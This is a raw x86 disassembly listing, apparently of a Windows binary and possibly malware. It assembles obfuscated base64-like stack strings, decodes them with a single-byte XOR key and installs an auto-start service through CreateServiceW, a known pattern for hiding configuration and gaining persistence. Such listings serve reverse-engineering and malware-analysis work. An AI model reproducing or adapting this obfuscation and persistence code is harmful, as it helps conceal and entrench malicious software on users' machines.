mov eax, dword [ebp - 0x29c]
test eax, eax
je 0x4e5333
push eax
call fcn.0053c1e0
add esp, 4
lea ecx, [ebp - 0x820]
call fcn.00467ae0
lea ecx, [ebp - 0x2a0]
call fcn.004679f0
lea ecx, [ebp - 0x810]
call fcn.00467ae0
lea ecx, [ebp - 0x774]
call fcn.004679f0
push 0xf003f
push 0
push 0
call ebx
mov ebx, eax
mov dword [ebp - 0x774], ebx
test ebx, ebx
jne 0x4e5779
push eax
sub esp, 0xc
mov dword [ebp - 0x804], 0x6e734444
mov ecx, esp
mov dword [ebp - 0x800], 0x7477794a
lea eax, [ebp - 0x28d]
mov dword [ebp - 0x7fc], 0x684e6e4a
lea edx, [ebp - 0x776]
mov dword [ebp - 0x7f8], 0x6e414163
push eax
mov dword [ebp - 0x7f4], 0x734d794a
lea esi, [ebp - 0x804]
mov dword [ebp - 0x7f0], 0x78735749
lea ebx, [ebp - 0x440]
mov dword [ebp - 0x7ec], 0x6a556d4c
mov dword [ebp - 0x7e8], 0x344d544b
mov dword [ebp - 0x7e4], 0x526f4161
mov dword [ebp - 0x7e0], 0x6a416759
mov dword [ebp - 0x7dc], 0x7a517a4b
mov dword [ebp - 0x7d8], 0x4d386a4e
mov dword [ebp - 0x7d4], 0x65346e42
mov dword [ebp - 0x7d0], 0x79427948
mov dword [ebp - 0x7cc], 0x74634848
mov dword [ebp - 0x7c8], 0x43346844
mov dword [ebp - 0x7c4], 0x724d6949
mov dword [ebp - 0x7c0], 0x6e596d4d
mov dword [ebp - 0x7bc], 0x65454166
mov dword [ebp - 0x7b8], 0x3278784f
mov dword [ebp - 0x7b4], 0x41637749
mov dword [ebp - 0x7b0], 0x33646749
mov dword [ebp - 0x7ac], 0x676f6942
mov dword [ebp - 0x7a8], 0x2f78544a
mov dword [ebp - 0x7a4], 0x50383366
mov dword [ebp - 0x7a0], 0x736f4464
mov dword [ebp - 0x79c], 0x3949444c
mov dword [ebp - 0x798], 0x51416948
mov dword [ebp - 0x794], 0x5a4d5243
mov dword [ebp - 0x790], 0x4e6f3365
mov dword [ebp - 0x78c], 0x6945434e
mov dword [ebp - 0x788], 0x4163525a
mov dword [ebp - 0x784], 0x64596950
mov dword [ebp - 0x780], 0x7838434f
mov dword [ebp - 0x77c], 0x41414141
mov word [ebp - 0x778], 0x7751
mov dword [ebp - 0x4d0], 0x6e415441
mov dword [ebp - 0x4cc], 0x756b444f
mov dword [ebp - 0x4c8], 0x34306e4f
mov dword [ebp - 0x4c4], 0x7549444b
mov dword [ebp - 0x4c0], 0x37777865
mov dword [ebp - 0x4bc], 0x436b424e
mov dword [ebp - 0x4b8], 0x7255684c
mov dword [ebp - 0x4b4], 0x34597962
mov dword [ebp - 0x4b0], 0x35674244
mov dword [ebp - 0x4ac], 0x71635444
mov dword [ebp - 0x4a8], 0x376f4263
mov dword [ebp - 0x4a4], 0x496b4450
mov dword [ebp - 0x4a0], 0x32384447
mov dword [ebp - 0x49c], 0x2b34435a
mov dword [ebp - 0x498], 0x68344841
mov dword [ebp - 0x494], 0x30634164
mov dword [ebp - 0x490], 0x6d49584b
mov dword [ebp - 0x48c], 0x594d514c
mov dword [ebp - 0x488], 0x5a67444c
mov dword [ebp - 0x484], 0x7a6b414a
mov dword [ebp - 0x480], 0x66457842
mov dword [ebp - 0x47c], 0x79306866
mov dword [ebp - 0x478], 0x34596a50
mov dword [ebp - 0x474], 0x7238445a
mov dword [ebp - 0x470], 0x366b5366
mov dword [ebp - 0x46c], 0x6f31414e
mov dword [ebp - 0x468], 0x35306a4b
mov dword [ebp - 0x464], 0x45414250
mov dword [ebp - 0x460], 0x65306d4b
mov dword [ebp - 0x45c], 0x6851444a
mov dword [ebp - 0x458], 0x62774345
mov dword [ebp - 0x454], 0x6f55684e
mov dword [ebp - 0x450], 0x6878414d
mov dword [ebp - 0x44c], 0x42596a47
mov dword [ebp - 0x448], 0x41596a49
mov dword [ebp - 0x444], 0x64424141
push edx
push esi
call fcn.004676d0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0
sub esp, 0xc
mov edi, eax
mov ecx, esp
lea eax, [ebp - 0x28d]
push eax
push ebx
lea eax, [ebp - 0x4d0]
push eax
call fcn.004676d0
lea eax, [ebp - 0x820]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x29c], eax
xor esi, esi
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x29c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e56e5
sub ecx, edx
je 0x4e5733
mov al, byte [esi + edi]
lea ecx, [ebp - 0x29c]
xor al, 0x8b
mov byte [ebp - 0x28d], al
lea eax, [ebp - 0x28d]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e5713
sub ecx, edx
cmp esi, ecx
jb 0x4e56f0
mov eax, dword [ebp - 0x29c]
test eax, eax
je 0x4e5733
push eax
call fcn.0053c1e0
add esp, 4
lea ecx, [ebp - 0x820]
call fcn.00467ae0
lea ecx, [ebp - 0x810]
call fcn.00467ae0
push 0x3c
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.0053e0b0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
push 3
push 2
lea ecx, [ebp - 0x268]
call fcn.004af8b0
jmp 0x4e84b2
mov dword [ebp - 0x40c], 0x6e734444
mov dword [ebp - 0x408], 0x7477794a
mov dword [ebp - 0x404], 0x684e6e4a
mov dword [ebp - 0x400], 0x30554163
mov dword [ebp - 0x3fc], 0x3934794b
mov dword [ebp - 0x3f8], 0x6955434c
mov dword [ebp - 0x3f4], 0x70595459
mov dword [ebp - 0x3f0], 0x2f41794b
mov dword [ebp - 0x3ec], 0x68787a4b
mov dword [ebp - 0x3e8], 0x4f456944
mov dword [ebp - 0x3e4], 0x366b684b
mov dword [ebp - 0x3e0], 0x626b544a
mov dword [ebp - 0x3dc], 0x30644148
mov dword [ebp - 0x3d8], 0x7363484f
mov dword [ebp - 0x3d4], 0x37465141
mov dword [ebp - 0x3d0], 0x76556745
mov dword [ebp - 0x3cc], 0x7138774d
mov dword [ebp - 0x3c8], 0x634d4761
mov dword [ebp - 0x3c4], 0x6c455763
mov dword [ebp - 0x3c0], 0x3367444a
mov dword [ebp - 0x3bc], 0x3277324b
mov dword [ebp - 0x3b8], 0x77347849
mov dword [ebp - 0x3b4], 0x48634748
mov dword [ebp - 0x3b0], 0x6b387844
mov dword [ebp - 0x3ac], 0x2b555241
mov dword [ebp - 0x3a8], 0x4777784a
mov dword [ebp - 0x3a4], 0x31516a64
mov dword [ebp - 0x3a0], 0x346f5462
mov dword [ebp - 0x39c], 0x42597a42
mov dword [ebp - 0x398], 0x7a555246
mov dword [ebp - 0x394], 0x6c70674d
mov dword [ebp - 0x390], 0x48777843
mov dword [ebp - 0x38c], 0x64735143
mov dword [ebp - 0x388], 0x5034514f
mov dword [ebp - 0x384], 0x385a4243
mov dword [ebp - 0x380], 0x77316841
mov dword [ebp - 0x37c], 0x3830414d
mov dword [ebp - 0x378], 0x53556846
mov dword [ebp - 0x374], 0x69734442
mov dword [ebp - 0x370], 0x6b73794b
mov dword [ebp - 0x36c], 0x2b597949
mov dword [ebp - 0x368], 0x7a73684e
mov dword [ebp - 0x364], 0x43346850
mov dword [ebp - 0x360], 0x31356a43
mov dword [ebp - 0x35c], 0x3468534b
mov dword [ebp - 0x358], 0x79416941
mov dword [ebp - 0x354], 0x59517864
mov dword [ebp - 0x350], 0x69634150
mov dword [ebp - 0x34c], 0x664d6a66
mov dword [ebp - 0x348], 0x77777943
mov dword [ebp - 0x344], 0x79455345
mov dword [ebp - 0x340], 0x5777684d
mov dword [ebp - 0x33c], 0x70414442
mov dword [ebp - 0x338], 0x766b415a
mov dword [ebp - 0x334], 0x4c417749
mov dword [ebp - 0x330], 0x53635343
mov dword [ebp - 0x32c], 0x4438434f
mov dword [ebp - 0x328], 0x47556762
mov dword [ebp - 0x324], 0x4677474d
mov dword [ebp - 0x320], 0x686f684f
mov dword [ebp - 0x31c], 0x6763444c
mov dword [ebp - 0x318], 0x59737841
mov dword [ebp - 0x314], 0x31745250
mov dword [ebp - 0x310], 0x32646845
mov dword [ebp - 0x30c], 0x345a7864
mov dword [ebp - 0x308], 0x30303346
mov dword [ebp - 0x304], 0x6b414263
mov dword [ebp - 0x300], 0x6e4e6d46
mov dword [ebp - 0x2fc], 0x32344742
mov dword [ebp - 0x2f8], 0x36357841
mov dword [ebp - 0x2f4], 0x66384148
mov dword [ebp - 0x2f0], 0x4e774148
mov dword [ebp - 0x2ec], 0x39594745
mov dword [ebp - 0x2e8], 0x71514343
mov dword [ebp - 0x2e4], 0x6c777849
mov dword [ebp - 0x2e0], 0x6b737a44
mov dword [ebp - 0x2dc], 0x554d4463
mov dword [ebp - 0x2d8], 0x67647a62
mov dword [ebp - 0x2d4], 0x30556a49
mov dword [ebp - 0x2d0], 0x706b6e43
mov dword [ebp - 0x2cc], 0x57417843
mov dword [ebp - 0x2c8], 0x596f425a
mov dword [ebp - 0x2c4], 0x70415244
mov dword [ebp - 0x2c0], 0x3370694b
mov dword [ebp - 0x2bc], 0x65637a47
mov dword [ebp - 0x2b8], 0x546f7742
mov dword [ebp - 0x2b4], 0x54514263
mov dword [ebp - 0x2b0], 0x5a734247
mov dword [ebp - 0x2ac], 0x586b6d4b
mov dword [ebp - 0x2a8], 0x41414143
mov word [ebp - 0x2a4], 0x5041
mov byte [ebp - 0x2a2], 0x49
mov dword [ebp - 0x770], 0x6e415441
mov dword [ebp - 0x76c], 0x756b444f
mov dword [ebp - 0x768], 0x34306e4f
mov dword [ebp - 0x764], 0x5249444b
mov dword [ebp - 0x760], 0x43457748
mov dword [ebp - 0x75c], 0x38677745
mov dword [ebp - 0x758], 0x6f634347
mov dword [ebp - 0x754], 0x64677a4d
mov dword [ebp - 0x750], 0x6363544a
mov dword [ebp - 0x74c], 0x52344242
mov dword [ebp - 0x748], 0x6751434c
mov dword [ebp - 0x744], 0x4f455146
mov dword [ebp - 0x740], 0x57777745
mov dword [ebp - 0x73c], 0x6c515245
mov dword [ebp - 0x738], 0x4c597741
mov dword [ebp - 0x734], 0x6f6f6e63
mov dword [ebp - 0x730], 0x62636744
mov dword [ebp - 0x72c], 0x4d674241
mov dword [ebp - 0x728], 0x7a735143
mov dword [ebp - 0x724], 0x4e6f584c
mov dword [ebp - 0x720], 0x7a416d4a
mov dword [ebp - 0x71c], 0x4c637a5a
mov dword [ebp - 0x718], 0x2f4d4743
mov dword [ebp - 0x714], 0x4c49514b
mov dword [ebp - 0x710], 0x616f7766
mov dword [ebp - 0x70c], 0x32734450
mov dword [ebp - 0x708], 0x55554241
mov dword [ebp - 0x704], 0x69527743
mov dword [ebp - 0x700], 0x47454344
mov dword [ebp - 0x6fc], 0x4c774142
mov dword [ebp - 0x6f8], 0x2f636a4b
mov dword [ebp - 0x6f4], 0x796c5243
mov dword [ebp - 0x6f0], 0x7545434b
mov dword [ebp - 0x6ec], 0x6b735749
mov dword [ebp - 0x6e8], 0x6767334f
mov dword [ebp - 0x6e4], 0x2f673343
mov dword [ebp - 0x6e0], 0x2f55524a
mov dword [ebp - 0x6dc], 0x6c6b7762
mov dword [ebp - 0x6d8], 0x6f6f6742
mov dword [ebp - 0x6d4], 0x77554245
mov dword [ebp - 0x6d0], 0x6977774d
mov dword [ebp - 0x6cc], 0x41495249
mov dword [ebp - 0x6c8], 0x34707a43
mov dword [ebp - 0x6c4], 0x53637a46
mov dword [ebp - 0x6c0], 0x34644444
mov dword [ebp - 0x6bc], 0x31316745
mov dword [ebp - 0x6b8], 0x7163434f
mov dword [ebp - 0x6b4], 0x68526847
mov dword [ebp - 0x6b0], 0x54307950
mov dword [ebp - 0x6ac], 0x4e495145
mov dword [ebp - 0x6a8], 0x67786a63
mov dword [ebp - 0x6a4], 0x4a34544b
mov dword [ebp - 0x6a0], 0x686f5146
mov dword [ebp - 0x69c], 0x774a6a48
mov dword [ebp - 0x698], 0x66677a43
mov dword [ebp - 0x694], 0x384a534e
mov dword [ebp - 0x690], 0x34466e49
mov dword [ebp - 0x68c], 0x3938674d
mov dword [ebp - 0x688], 0x38416942
mov dword [ebp - 0x684], 0x42774245
mov dword [ebp - 0x680], 0x6b45694d
mov dword [ebp - 0x67c], 0x4f557749
mov dword [ebp - 0x678], 0x684e324b
mov dword [ebp - 0x674], 0x7a51694d
mov dword [ebp - 0x670], 0x78684148
mov dword [ebp - 0x66c], 0x66304249
mov dword [ebp - 0x668], 0x56517a4c
mov dword [ebp - 0x664], 0x6463684f
mov dword [ebp - 0x660], 0x4c637844
mov dword [ebp - 0x65c], 0x77306e64
push 0
sub esp, 0xc
mov dword [ebp - 0x658], 0x39517845
mov ecx, esp
mov dword [ebp - 0x654], 0x6a6b4347
lea eax, [ebp - 0x28d]
mov dword [ebp - 0x650], 0x6d736765
lea edx, [ebp - 0x2a1]
mov dword [ebp - 0x64c], 0x31647847
push eax
push edx
lea esi, [ebp - 0x40c]
mov dword [ebp - 0x648], 0x46635465
push esi
mov dword [ebp - 0x644], 0x394e5449
mov dword [ebp - 0x640], 0x4659584e
mov dword [ebp - 0x63c], 0x4259774e
mov dword [ebp - 0x638], 0x4e6b5350
mov dword [ebp - 0x634], 0x72384141
mov dword [ebp - 0x630], 0x6b6b7844
mov dword [ebp - 0x62c], 0x52777759
mov dword [ebp - 0x628], 0x5049414d
mov dword [ebp - 0x624], 0x3368694b
mov dword [ebp - 0x620], 0x7763514f
mov dword [ebp - 0x61c], 0x33785141
mov dword [ebp - 0x618], 0x4f415442
mov dword [ebp - 0x614], 0x3138424d
mov dword [ebp - 0x610], 0x41387a4b
mov dword [ebp - 0x60c], 0x62347946
mov dword [ebp - 0x608], 0x2f77574d
mov dword [ebp - 0x604], 0x78456748
mov dword [ebp - 0x600], 0x385a7944
mov dword [ebp - 0x5fc], 0x6b4d675a
mov dword [ebp - 0x5f8], 0x6d304349
mov dword [ebp - 0x5f4], 0x68454342
mov dword [ebp - 0x5f0], 0x424d4346
mov dword [ebp - 0x5ec], 0x436b5244
mov dword [ebp - 0x5e8], 0x716b6d45
mov dword [ebp - 0x5e4], 0x3234484f
mov dword [ebp - 0x5e0], 0x636f544d
mov dword [ebp - 0x5dc], 0x69637a4f
mov dword [ebp - 0x5d8], 0x4c63514b
mov dword [ebp - 0x5d4], 0x6b515348
mov dword [ebp - 0x5d0], 0x44344349
mov dword [ebp - 0x5cc], 0x6a495263
mov dword [ebp - 0x5c8], 0x64307a63
mov dword [ebp - 0x5c4], 0x6c646a4d
mov dword [ebp - 0x5c0], 0x3734534f
mov dword [ebp - 0x5bc], 0x54676965
mov dword [ebp - 0x5b8], 0x5659544e
mov dword [ebp - 0x5b4], 0x3339525a
mov dword [ebp - 0x5b0], 0x67596749
mov dword [ebp - 0x5ac], 0x3035444b
mov dword [ebp - 0x5a8], 0x39357865
mov dword [ebp - 0x5a4], 0x414d6e43
mov dword [ebp - 0x5a0], 0x72556e48
mov dword [ebp - 0x59c], 0x42414141
mov word [ebp - 0x598], 0x4156
call fcn.004676d0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0
sub esp, 0xc
mov edi, eax
mov ecx, esp
lea eax, [ebp - 0x28d]
push eax
lea eax, [ebp - 0x596]
push eax
lea eax, [ebp - 0x770]
push eax
call fcn.004676d0
lea eax, [ebp - 0x820]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x29c], eax
xor esi, esi
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x29c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6050
sub ecx, edx
je 0x4e60a3
jmp 0x4e6060
mov al, byte [esi + edi]
lea ecx, [ebp - 0x29c]
xor al, 0x8b
mov byte [ebp - 0x28d], al
lea eax, [ebp - 0x28d]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6083
sub ecx, edx
cmp esi, ecx
jb 0x4e6060
mov eax, dword [ebp - 0x29c]
test eax, eax
je 0x4e60a3
push eax
call fcn.0053c1e0
add esp, 4
lea ecx, [ebp - 0x820]
call fcn.00467ae0
lea ecx, [ebp - 0x810]
call fcn.00467ae0
mov dword [ebp - 0x740], 0x58557746
mov dword [ebp - 0x73c], 0x42354241
mov dword [ebp - 0x738], 0x76554166
mov dword [ebp - 0x734], 0x2b67514d
mov dword [ebp - 0x730], 0x724d4349
mov dword [ebp - 0x72c], 0x32494850
mov dword [ebp - 0x728], 0x7563674e
mov dword [ebp - 0x724], 0x4a554348
mov dword [ebp - 0x720], 0x59516866
mov dword [ebp - 0x71c], 0x64344263
mov dword [ebp - 0x718], 0x56775449
mov dword [ebp - 0x714], 0x4e4d6743
mov dword [ebp - 0x710], 0x64416744
mov dword [ebp - 0x70c], 0x3055684b
mov dword [ebp - 0x708], 0x61384465
mov dword [ebp - 0x704], 0x6f787946
mov dword [ebp - 0x700], 0x68516a4e
mov dword [ebp - 0x6fc], 0x36635261
mov dword [ebp - 0x6f8], 0x4641774b
mov dword [ebp - 0x6f4], 0x6e494143
mov dword [ebp - 0x6f0], 0x6b4a474b
mov dword [ebp - 0x6ec], 0x7634674f
mov dword [ebp - 0x6e8], 0x48556a63
mov dword [ebp - 0x6e4], 0x33344342
mov dword [ebp - 0x6e0], 0x66677947
mov dword [ebp - 0x6dc], 0x64454261
mov dword [ebp - 0x6d8], 0x4b416964
mov dword [ebp - 0x6d4], 0x524d5241
mov dword [ebp - 0x6d0], 0x596f544b
mov dword [ebp - 0x6cc], 0x37736a4f
mov dword [ebp - 0x6c8], 0x53636949
mov dword [ebp - 0x6c4], 0x3138424e
mov dword [ebp - 0x6c0], 0x6d495343
mov dword [ebp - 0x6bc], 0x33514243
mov dword [ebp - 0x6b8], 0x45777765
mov dword [ebp - 0x6b4], 0x52343364
mov dword [ebp - 0x6b0], 0x3663784d
mov dword [ebp - 0x6ac], 0x6e59324f
mov dword [ebp - 0x6a8], 0x6b746a66
mov dword [ebp - 0x6a4], 0x77387962
mov dword [ebp - 0x6a0], 0x66455744
mov dword [ebp - 0x69c], 0x7a516749
mov dword [ebp - 0x698], 0x5a45694f
mov dword [ebp - 0x694], 0x50346759
mov dword [ebp - 0x690], 0x6377334a
mov dword [ebp - 0x68c], 0x6a595341
mov dword [ebp - 0x688], 0x4f516746
mov dword [ebp - 0x684], 0x35635750
mov dword [ebp - 0x680], 0x6d46434a
mov dword [ebp - 0x67c], 0x326b4846
mov dword [ebp - 0x678], 0x33414750
mov dword [ebp - 0x674], 0x334d794f
mov dword [ebp - 0x670], 0x69515341
mov dword [ebp - 0x66c], 0x334e6847
mov dword [ebp - 0x668], 0x366f5248
mov dword [ebp - 0x664], 0x70387a50
mov dword [ebp - 0x660], 0x2b597a4b
mov dword [ebp - 0x65c], 0x46593243
mov dword [ebp - 0x658], 0x65637a47
mov dword [ebp - 0x654], 0x776c7762
mov dword [ebp - 0x650], 0x3459574b
mov dword [ebp - 0x64c], 0x43514359
mov dword [ebp - 0x648], 0x486f7a41
mov dword [ebp - 0x644], 0x2f35425a
mov dword [ebp - 0x640], 0x2b6b794a
mov dword [ebp - 0x63c], 0x61454145
mov dword [ebp - 0x638], 0x72777741
mov dword [ebp - 0x634], 0x69346762
mov dword [ebp - 0x630], 0x716f6742
mov dword [ebp - 0x62c], 0x59596944
mov dword [ebp - 0x628], 0x44735463
mov dword [ebp - 0x624], 0x47517a5a
mov dword [ebp - 0x620], 0x38564242
mov dword [ebp - 0x61c], 0x2b345848
mov dword [ebp - 0x618], 0x4173414c
mov dword [ebp - 0x614], 0x4a59324a
mov dword [ebp - 0x610], 0x6e637943
mov esi, dword [ebp - 0x824]
lea eax, [ebp - 0x28d]
push 0
push 0
push 0
sub esp, 0xc
mov dword [ebp - 0x60c], 0x5951514b
mov ecx, esp
mov dword [ebp - 0x608], 0x72384766
lea edx, [ebp - 0x599]
mov dword [ebp - 0x604], 0x61417747
lea edi, [ebp - 0x740]
mov dword [ebp - 0x600], 0x7a6f5449
push eax
push edx
push edi
mov dword [ebp - 0x5fc], 0x5230784f
add esi, 0x2c
mov dword [ebp - 0x5f8], 0x355a5742
mov dword [ebp - 0x5f4], 0x38515149
mov dword [ebp - 0x5f0], 0x4c6b5366
mov dword [ebp - 0x5ec], 0x3255794a
mov dword [ebp - 0x5e8], 0x64776a4e
mov dword [ebp - 0x5e4], 0x3355324b
mov dword [ebp - 0x5e0], 0x5130524b
mov dword [ebp - 0x5dc], 0x6851784b
mov dword [ebp - 0x5d8], 0x6741414d
mov dword [ebp - 0x5d4], 0x35636761
mov dword [ebp - 0x5d0], 0x4b634148
mov dword [ebp - 0x5cc], 0x4e774441
mov dword [ebp - 0x5c8], 0x41675848
mov dword [ebp - 0x5c4], 0x3263674b
mov dword [ebp - 0x5c0], 0x50415264
mov dword [ebp - 0x5bc], 0x754a784e
mov dword [ebp - 0x5b8], 0x44635449
mov dword [ebp - 0x5b4], 0x4e305843
mov dword [ebp - 0x5b0], 0x43635766
mov dword [ebp - 0x5ac], 0x726b534b
mov dword [ebp - 0x5a8], 0x7463795a
mov dword [ebp - 0x5a4], 0x4d45694a
mov dword [ebp - 0x5a0], 0x41414149
mov word [ebp - 0x59c], 0x5441
mov byte [ebp - 0x59a], 0x4d
call fcn.004676d0
lea eax, [ebp - 0x820]
push eax
call fcn.00480790
add esp, 0x10
mov ecx, eax
call fcn.0046bf80
push eax
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 1
push 2
push 0x10
push 0xf01ff
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
lea ecx, [ebp - 0x820]
mov ebx, eax
call fcn.00467b80
test ebx, ebx
jne 0x4e6d54
mov dword [ebp - 0x43c], 0x6e734444
mov dword [ebp - 0x438], 0x7477794a
mov dword [ebp - 0x434], 0x684e6e4a
mov dword [ebp - 0x430], 0x6e414163
mov dword [ebp - 0x42c], 0x734d794a
mov dword [ebp - 0x428], 0x78735749
mov dword [ebp - 0x424], 0x76556d4c
mov dword [ebp - 0x420], 0x334d7a4b
mov dword [ebp - 0x41c], 0x79784450
mov dword [ebp - 0x418], 0x7767534d
mov dword [ebp - 0x414], 0x33777a4d
mov dword [ebp - 0x410], 0x6238694e
mov dword [ebp - 0x40c], 0x3938784c
mov dword [ebp - 0x408], 0x70674161
mov dword [ebp - 0x404], 0x67305242
mov dword [ebp - 0x400], 0x6a554142
mov dword [ebp - 0x3fc], 0x71454262
mov dword [ebp - 0x3f8], 0x684e6d4e
mov dword [ebp - 0x3f4], 0x43413265
mov dword [ebp - 0x3f0], 0x7677444a
mov dword [ebp - 0x3ec], 0x43636d64
mov dword [ebp - 0x3e8], 0x416f684d
mov dword [ebp - 0x3e4], 0x34395447
mov dword [ebp - 0x3e0], 0x7a554841
mov dword [ebp - 0x3dc], 0x66306a47
mov dword [ebp - 0x3d8], 0x51497741
mov dword [ebp - 0x3d4], 0x6e347747
mov dword [ebp - 0x3d0], 0x6742574b
mov dword [ebp - 0x3cc], 0x35733242
mov dword [ebp - 0x3c8], 0x736f6965
mov dword [ebp - 0x3c4], 0x6a5a7841
mov dword [ebp - 0x3c0], 0x5730785a
mov dword [ebp - 0x3bc], 0x34596a4c
mov dword [ebp - 0x3b8], 0x784d4150
mov dword [ebp - 0x3b4], 0x66677948
mov dword [ebp - 0x3b0], 0x74414346
mov dword [ebp - 0x3ac], 0x36495242
mov dword [ebp - 0x3a8], 0x65674247
mov dword [ebp - 0x3a4], 0x67395441
mov dword [ebp - 0x3a0], 0x7173784c
mov dword [ebp - 0x39c], 0x52634345
mov dword [ebp - 0x398], 0x50674449
mov dword [ebp - 0x394], 0x71516d48
mov dword [ebp - 0x390], 0x5651784d
mov dword [ebp - 0x38c], 0x39424346
mov dword [ebp - 0x388], 0x76387850
mov dword [ebp - 0x384], 0x63555463
mov dword [ebp - 0x380], 0x6a426d50
mov dword [ebp - 0x37c], 0x65347746
mov dword [ebp - 0x378], 0x7863434c
mov dword [ebp - 0x374], 0x73554344
mov dword [ebp - 0x370], 0x74384249
mov dword [ebp - 0x36c], 0x39634349
mov dword [ebp - 0x368], 0x2f4e6a4e
mov dword [ebp - 0x364], 0x65556866
mov dword [ebp - 0x360], 0x6b556946
mov dword [ebp - 0x35c], 0x2f4e5245
mov dword [ebp - 0x358], 0x44456742
mov dword [ebp - 0x354], 0x4b305749
mov dword [ebp - 0x350], 0x3363444c
mov dword [ebp - 0x34c], 0x4e635366
mov dword [ebp - 0x348], 0x34394250
mov dword [ebp - 0x344], 0x3863775a
mov dword [ebp - 0x340], 0x46634448
mov dword [ebp - 0x33c], 0x7273424c
mov dword [ebp - 0x338], 0x7a785443
mov dword [ebp - 0x334], 0x3538444a
mov dword [ebp - 0x330], 0x42384346
mov dword [ebp - 0x32c], 0x77347950
mov dword [ebp - 0x328], 0x4b515142
mov dword [ebp - 0x324], 0x31516d41
mov dword [ebp - 0x320], 0x5355524e
mov dword [ebp - 0x31c], 0x5a456d4a
mov dword [ebp - 0x318], 0x57456e4b
mov dword [ebp - 0x314], 0x6230414e
mov dword [ebp - 0x310], 0x5145524d
mov dword [ebp - 0x30c], 0x2f565244
mov dword [ebp - 0x308], 0x58636745
mov dword [ebp - 0x304], 0x44554465
mov dword [ebp - 0x300], 0x49676a4e
mov dword [ebp - 0x2fc], 0x4730414d
mov dword [ebp - 0x2f8], 0x476f444a
mov dword [ebp - 0x2f4], 0x4b634441
mov dword [ebp - 0x2f0], 0x46557950
mov dword [ebp - 0x2ec], 0x3641514b
mov dword [ebp - 0x2e8], 0x4a677845
mov dword [ebp - 0x2e4], 0x64634244
mov dword [ebp - 0x2e0], 0x79387a4c
mov dword [ebp - 0x2dc], 0x4430515a
mov dword [ebp - 0x2d8], 0x73637744
mov dword [ebp - 0x2d4], 0x5a775446
mov dword [ebp - 0x2d0], 0x7a527949
mov dword [ebp - 0x2cc], 0x43777a4a
mov dword [ebp - 0x2c8], 0x70347942
mov dword [ebp - 0x2c4], 0x71737866
mov dword [ebp - 0x2c0], 0x33347942
mov dword [ebp - 0x2bc], 0x3573774e
mov dword [ebp - 0x2b8], 0x4d496747
mov dword [ebp - 0x2b4], 0x6251784a
mov dword [ebp - 0x2b0], 0x746f4246
mov dword [ebp - 0x2ac], 0x73427949
mov dword [ebp - 0x2a8], 0x42414141
mov word [ebp - 0x2a4], 0x5144
mov dword [ebp - 0x548], 0x6e415441
mov dword [ebp - 0x544], 0x756b444f
mov dword [ebp - 0x540], 0x34306e4f
mov dword [ebp - 0x53c], 0x4e49444b
mov dword [ebp - 0x538], 0x5a674242
mov dword [ebp - 0x534], 0x304e5149
mov dword [ebp - 0x530], 0x55305145
mov dword [ebp - 0x52c], 0x51457746
mov dword [ebp - 0x528], 0x77497841
mov dword [ebp - 0x524], 0x70676747
mov dword [ebp - 0x520], 0x5651574d
mov dword [ebp - 0x51c], 0x496b6841
mov dword [ebp - 0x518], 0x396c4443
mov dword [ebp - 0x514], 0x6734444a
mov dword [ebp - 0x510], 0x6d497766
mov dword [ebp - 0x50c], 0x75773343
mov dword [ebp - 0x508], 0x42554264
mov dword [ebp - 0x504], 0x52415159
mov dword [ebp - 0x500], 0x694a6a41
mov dword [ebp - 0x4fc], 0x3373424c
mov dword [ebp - 0x4f8], 0x57306763
mov dword [ebp - 0x4f4], 0x6938524a
mov dword [ebp - 0x4f0], 0x6b495347
mov dword [ebp - 0x4ec], 0x4b346e42
mov dword [ebp - 0x4e8], 0x39676749
mov dword [ebp - 0x4e4], 0x75496e4b
mov dword [ebp - 0x4e0], 0x5a59444b
mov dword [ebp - 0x4dc], 0x42495350
mov dword [ebp - 0x4d8], 0x7a307944
mov dword [ebp - 0x4d4], 0x346f5448
mov dword [ebp - 0x4d0], 0x5173784a
mov dword [ebp - 0x4cc], 0x50595147
mov dword [ebp - 0x4c8], 0x6b6f7950
mov dword [ebp - 0x4c4], 0x33645261
mov dword [ebp - 0x4c0], 0x374d514f
mov dword [ebp - 0x4bc], 0x3239524c
mov dword [ebp - 0x4b8], 0x68747744
mov dword [ebp - 0x4b4], 0x36556a42
mov dword [ebp - 0x4b0], 0x4649544a
mov dword [ebp - 0x4ac], 0x3168774e
mov dword [ebp - 0x4a8], 0x6451524c
mov dword [ebp - 0x4a4], 0x4d6f694a
mov dword [ebp - 0x4a0], 0x3651674a
mov dword [ebp - 0x49c], 0x68347741
mov dword [ebp - 0x498], 0x6a416843
mov dword [ebp - 0x494], 0x636b5445
mov dword [ebp - 0x490], 0x68495445
mov dword [ebp - 0x48c], 0x64776845
mov dword [ebp - 0x488], 0x4c735149
mov dword [ebp - 0x484], 0x75637763
mov dword [ebp - 0x480], 0x41306764
mov dword [ebp - 0x47c], 0x62517a49
mov dword [ebp - 0x478], 0x2f4a3247
mov dword [ebp - 0x474], 0x6b51534f
mov dword [ebp - 0x470], 0x4d733344
mov dword [ebp - 0x46c], 0x736b484a
mov dword [ebp - 0x468], 0x69594164
mov dword [ebp - 0x464], 0x64456a61
